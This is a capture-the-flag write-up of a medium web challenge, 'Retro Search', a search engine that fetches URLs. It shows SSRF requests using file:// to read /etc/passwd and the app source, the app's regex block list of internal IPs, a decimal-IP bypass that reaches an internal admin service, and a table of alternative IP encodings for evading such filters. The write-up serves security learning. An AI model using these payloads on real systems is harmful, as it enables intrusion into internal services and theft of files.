110 - Retro Search (Ретро поиск) - duckerz CTF
110 - Retro Search (Ретро поиск) - duckerz CTF
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: decimal_ip_bypass, file_protocol_lfi, source_code_analysis, ssrf
Summary
Walkthrough of the CUSTOM Web 110 - Retro Search (Ретро поиск) - duckerz CTF. Task: Retro-styled search engine with URL fetch functionality. Solution: Exploited SSRF via file:// protocol to read source code, discovered WAF blocking internal IPs, bypassed WAF using decimal IP fo
Description
"Интернет помнит всё... если знать, где искать" (The Internet remembers everything... if you know where to look)
URL: http://tasks.duckerz.ru:30073/
A retro-styled search engine on Flask/Werkzeug with URL search functionality.
Analysis
Reconnaissance
- The web application is a retro-style search engine
- The search form accepts a
qparameter and makes HTTP requests to the specified URL - When entering an invalid URL, we get an error:
This message is from theInvalid URL 'test': No schema supplied. Perhaps you meant http://test?requestslibrary - a clear sign of SSRF vulnerability!
Discovered Vulnerabilities
- SSRF - the server makes requests to arbitrary URLs
- LFI - the
file://protocol is supported - WAF bypass - IP address filtering via regex without considering alternative formats
Solution
Step 1: Testing SSRF and LFI via file://
http://tasks.duckerz.ru:30073/search?q=file:///etc/passwd
Successfully retrieved the contents of /etc/passwd - the file:// protocol works!
Step 2: Reading the application source code
http://tasks.duckerz.ru:30073/search?q=file:///app/app.py
Discovered a WAF blocking internal addresses:
python read-only • copy alloweddef is_blocked_url(url): decoded_url = unquote(url) blocked_patterns = [ r'localhost', r'127\.0\.0\.1', r'0\.0\.0\.0', r'169\.254\.', r'::1', r'internal', r'172\.30\.0\.11', r'172\.30\.0\.10', ] for pattern in blocked_patterns: if re.search(pattern, decoded_url, re.IGNORECASE): return True return False
Key finding: Internal services at 172.30.0.10 and 172.30.0.11 are blocked by WAF!
Step 3: WAF bypass via decimal IP
The WAF only checks string patterns like "172.30.0.11", but doesn't account for alternative IP formats.
Converting IP to decimal format:
python read-only • copy allowed# 172.30.0.11 -> decimal ip = "172.30.0.11" parts = list(map(int, ip.split('.'))) decimal_ip = (parts[0] << 24) + (parts[1] << 16) + (parts[2] << 8) + parts[3] # Result: 2887647243
Verification:
172 * 256^3 + 30 * 256^2 + 0 * 256 + 11 = 2887647243
Step 4: Accessing the internal service
http://tasks.duckerz.ru:30073/search?q=http://2887647243
WAF bypassed! Received a response from the internal admin service with the flag.
Alternative IP Formats for WAF Bypass
| Format | Example for 172.30.0.11 |
|---|---|
| Decimal | 2887647243 |
| Octal | 0254.036.0.013 |
| Hex | 0xAC.0x1E.0x0.0xB |
| Mixed | 172.0x1E.0.11 |
| IPv6 mapped | ::ffff:172.30.0.11 |
References
- SSRF Bible
- IP Address Converter
Key Takeaways / Lessons
- Mastering decimal_ip_bypass, file_protocol_lfi, source_code_analysis, ssrf was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-01-19 • CUSTOM • 110 - Retro Search (Ретро поиск) - duckerz CTF • Difficulty: Medium